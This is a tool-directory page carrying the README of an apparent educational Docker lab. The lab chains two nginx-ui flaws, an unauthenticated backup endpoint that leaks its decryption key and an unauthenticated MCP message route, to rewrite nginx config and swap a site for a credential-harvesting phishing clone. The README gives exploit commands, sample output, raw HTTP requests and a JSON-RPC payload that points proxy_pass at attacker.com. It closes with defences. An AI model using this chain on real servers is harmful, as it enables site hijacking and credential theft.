Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33032-nginx-ui-vuln-lab — Docker Compose setup to demonstrate the nginx-ui missing authentication vulnerability | Kitploit
Tools/GitHubGitHub/shreda/cve-2026-33032-nginx-ui-vuln-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHubshreda/cve-2026-33032-nginx-ui-vuln-lab

CVE-2026-33032-nginx-ui-vuln-lab

Docker Compose setup to demonstrate the nginx-ui missing authentication vulnerability

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Credential RCE Lab

Disclaimer: This repository is intended for educational and authorised security research purposes only. All techniques demonstrated here should only be used against systems you own or have explicit written permission to test. The authors accept no responsibility for misuse. Do not run this against any system without authorisation.

A self-contained Docker Compose lab demonstrating a two-CVE chain against nginx-ui v2.3.1 that achieves full nginx takeover with zero prior knowledge — no usernames, no passwords, no tokens.


Vulnerability Chain

CVE-2026-27944 — Unauthenticated Backup Endpoint + Key Disclosure

GET /api/backup requires no authentication. The endpoint returns a full encrypted backup of the nginx-ui installation — including app.ini — and sends the AES-256-CBC decryption key and IV in plaintext in the response header:

root@kitploit:~
X-Backup-Security: <base64_key>:<base64_iv>

From the source (api/backup/router.go):

root@kitploit:~
r.GET("/backup", CreateBackup)   // ❌ no middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)

Decrypting the backup yields app.ini, which contains the [node] Secret needed for Step 2.

CVECVE-2026-27944 (GHSA-g9w5-qffc-6762)
CVSS9.8 Critical
Affectednginx-ui < 2.3.2
Fixed innginx-ui 2.3.3

CVE-2026-33032 "MCPwn" — Unauthenticated MCP Message Handler

nginx-ui v2.3.x added a Model Context Protocol (MCP) interface exposing 12 nginx management tools. The bug is a single missing middleware call in mcp/router.go:

root@kitploit:~
r.Any("/mcp",         middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)   // ❌ MISSING AuthRequired()

With a sessionId obtained via the node secret, an attacker can POST to /mcp_message with no user credentials and invoke any privileged tool — including nginx_config_modify and reload_nginx.

CVECVE-2026-33032
AliasMCPwn (Pluto Security)
CVSS9.8 Critical
Affectednginx-ui ≤ 2.3.3
Fixed innginx-ui 2.3.4

Lab Architecture

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│  Browser                                                  │
│  http://localhost:8080  ──►  nginx_ui (:80)              │
│                                    │                     │
│  Attacker                          ▼                     │
│  http://localhost:9000  ──►  nginx_ui (:9000) VULNERABLE │
│  (no credentials)          uozi/nginx-ui:v2.3.1          │
│                                                          │
│              ┌─────────────────────────┐                 │
│              │  webapp (green)          │  legitimate     │
│              │  proxy_pass default      │  login form     │
│              └─────────────────────────┘                 │
│              ┌─────────────────────────┐                 │
│              │  malicious_site (red)    │  phishing clone │
│              │  proxy_pass after attack │  harvests creds │
│              └─────────────────────────┘                 │
└──────────────────────────────────────────────────────────┘

nginx-ui bundles its own nginx instance. When the exploit calls reload_nginx via MCP, it reloads the same nginx serving traffic on :8080 — no host access required.


Quick Start

Requirements: Docker + Docker Compose + Python 3.10+

root@kitploit:~
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
URL
http://localhost:8080Victim site — green (legitimate)
http://localhost:9000nginx-ui admin panel

Running the Exploit

root@kitploit:~
pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000

The script chains both CVEs with no prior credentials:

root@kitploit:~
==============================================================
  CVE-2026-27944 + CVE-2026-33032  —  nginx-ui Zero-Cred RCE
  Target : http://localhost:9000
==============================================================

[*] CVE-2026-27944 — downloading backup (no auth)
[+] AES key+IV from header: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Node secret extracted: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 — opening unauthenticated MCP session (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] Recon — reading current config
[+] Current: proxy_pass http://webapp:80;

[*] Overwriting default.conf via POST /mcp_message (no auth)
[+] New:     proxy_pass http://malicious_site:80;

[*] Reloading nginx via POST /mcp_message (no auth)
[+] nginx reloaded — config is live

[!] Attack complete.
    Victims at http://localhost:8080/ are now served the phishing page.
    View captured credentials: http://localhost:8080/?debug=1

After the exploit, http://localhost:8080 switches from the green legitimate page to the red phishing clone — at the same URL, with no indication to the victim.

Open http://localhost:8080/?debug=1 to reveal the attacker panel and see credentials captured in real time.

Reset

root@kitploit:~
python3 exploit/exploit.py --url http://localhost:9000 --reset

Uses the same CVE chain to restore the original config and reload nginx.


How It Works

Stage 1 — Extract node secret (CVE-2026-27944)

root@kitploit:~
GET /api/backup HTTP/1.1
Host: target:9000

Response:

root@kitploit:~
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip

Decrypt the zip with the provided key/IV → extract app.ini → read [node] Secret.

Stage 2 — Hijack nginx (CVE-2026-33032)

Request 1 — Open SSE session (node secret, no user auth):

root@kitploit:~
GET /mcp?node_secret=<uuid>

SSE stream responds with a sessionId.

Request 2+ — Invoke tools (no auth at all):

root@kitploit:~
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}

No Authorization header. No cookie. AuthRequired() is simply absent from the /mcp_message route.


Available MCP Tools (all accessible unauthenticated)

ToolImpact
nginx_config_modifyOverwrite any config file
nginx_config_addCreate new config files
nginx_config_getRead any config file
nginx_config_listList all configs
nginx_config_enable/disableToggle site configs
nginx_config_renameMove/rename config files
nginx_config_mkdirCreate directories
nginx_config_historyView change history
nginx_config_base_pathReveal config root path
nginx_statusCheck nginx status
reload_nginxApply config changes live
restart_nginxFull nginx restart

Defences

  • Patch — upgrade to nginx-ui ≥ 2.3.4
  • Network isolation — never expose nginx-ui to untrusted networks; place it behind a VPN or firewall
  • IP allowlist — set a non-empty [node] IPWhiteList in app.ini to restrict MCP access to specific IPs
  • MFA — enable multi-factor auth on the admin account
  • FIM — monitor /etc/nginx/conf.d/ with file integrity monitoring (auditd, Wazuh, etc.)
Download Tool